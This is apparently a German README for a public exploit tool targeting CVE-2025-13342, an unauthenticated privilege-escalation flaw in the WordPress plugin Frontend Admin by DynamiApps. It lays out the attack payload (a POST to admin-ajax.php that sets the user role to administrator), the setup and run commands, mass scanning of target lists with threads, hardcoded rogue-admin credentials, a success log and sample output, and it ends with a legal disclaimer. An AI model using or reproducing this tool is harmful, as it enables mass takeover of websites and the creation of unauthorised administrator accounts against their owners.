
Frontend Admin by DynamiApps <= 3.28.20 - Nicht authentifizierte beliebige Optionsaktualisierung
Frontend Admin by DynamiApps <= 3.28.20 - Nicht authentifizierte Aktualisierung beliebiger Optionen
__ __ _ _ _ ___ ,________ _
/ ()(| |_// () / )/ \/ )|__ /| __/ __/| |/ )
| | | >- ----/| |/ \----| \ \|__|_/
\___/ \/ \___/ /__\_//__\__/ |\__/\__/ |/__
| Feld | Detail |
|---|---|
| CVE-ID | CVE-2025-13342 |
| Bewertung | 9.8 KRITISCH — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| Betroffen | Frontend Admin by DynamiApps ≤ 3.28.20 |
| Authentifizierung | Keine — vollständig ohne Authentifizierung |
| Typ | Unzureichende Capability-Prüfung + Eingabevalidierung → Beliebige Option schreiben |
| CWE | CWE-284 · Unzureichende Zugriffskontrolle |
Was passiert:
ActionOptions::run()-Speicherhandler prüft weder Benutzerfähigkeiten noch validiert er die Eingabe, bevor er in wp_options schreibt. Ein öffentliches ACF-Frontend-Formular wird zu einem offenen Schreibkanal. Der Angreifer setzt users_can_register=1 und default_role=administrator und registriert dann ein neues Konto, das automatisch die Administrator-Rolle erhält.
Dieses Tool überspringt diesen zweistufigen Ansatz — es sendet direkt die erstellte Formularnutzlast mit role=administrator, die über acff[user][field_*] in die Benutzererstellungsfelder injiziert wird, und erstellt so in einem einzigen AJAX-Aufruf ein Administratorkonto.
1. Crawl common registration paths → locate ACF frontend form
2. Parse hidden fields → _acf_nonce, _acf_form
3. Map user fields → username · email · password · role
4. POST /wp-admin/admin-ajax.php
action=frontend_admin/form_submit
acff[user][<role_field>] = administrator
5. {"success":true} → admin account created
6. Log to acf_success.txt
requests
beautifulsoup4
colorama
rich
pip install requests beautifulsoup4 colorama rich
git clone https://github.com/Nxploited/CVE-2025-13342.git
cd CVE-2025-13342
pip install -r requirements.txt
python3 CVE-2025-13342.py
Das Tool ist interaktiv. Ihnen werden vier Fragen gestellt:
Targets file path → list.txt
Threads → 10
Timeout (seconds) → 10
Verbose debug → y / N
Die Anmeldedaten sind intern festgelegt:
| Feld | Wert |
|---|---|
| Benutzername | Nxadmin1 |
[email protected] | |
| Passwort | NxAdmin_1337#KSA |
Ein Host pro Zeile — Schema optional:
https://target1.com
target2.com
http://target3.com
Das Tool durchsucht 28 Pfade pro Ziel der Reihe nach und stoppt beim ersten gültigen ACF-Formular:
/ /register/ /registration/ /signup/ /sign-up/
/user-registration/ /account/ /my-account/
/frontend-form/ /frontend-register/ ...
| Datei | Inhalt |
|---|---|
acf_success.txt | Bestätigte erfolgreiche Administratorerstellungen |
Format:
[2025-06-01 14:30:22] BASE=https://target.com FORM=https://target.com/register/
USER=Nxadmin1 [email protected] PASS=NxAdmin_1337#KSA JSON={"success":true,...}
Terminal:
[+] Target base: https://target.com
[+] Found form at: https://target.com/register/
_acf_nonce: a1b2c3d4e5
_acf_form: 123
[+] SUCCESS: https://target.com
[-] No suitable ACF Frontend form found on ...
[-] FAILED: https://target2.com
| Autor | Nxploited (Khaled Alenazi) |
| GitHub | github.com/Nxploited |
| Telegram | @KNxploited |
Dieses Tool wird nur für autorisierte Sicherheitsforschung und zu Bildungszwecken bereitgestellt.
Der Autor übernimmt keine Verantwortung für eine Nutzung gegen Systeme ohne ausdrückliche schriftliche Genehmigung des Eigentümers.
Unbefugter Zugriff ist nach dem CFAA, CMA und entsprechenden Gesetzen weltweit illegal.
Sie sind allein für Ihre Handlungen verantwortlich.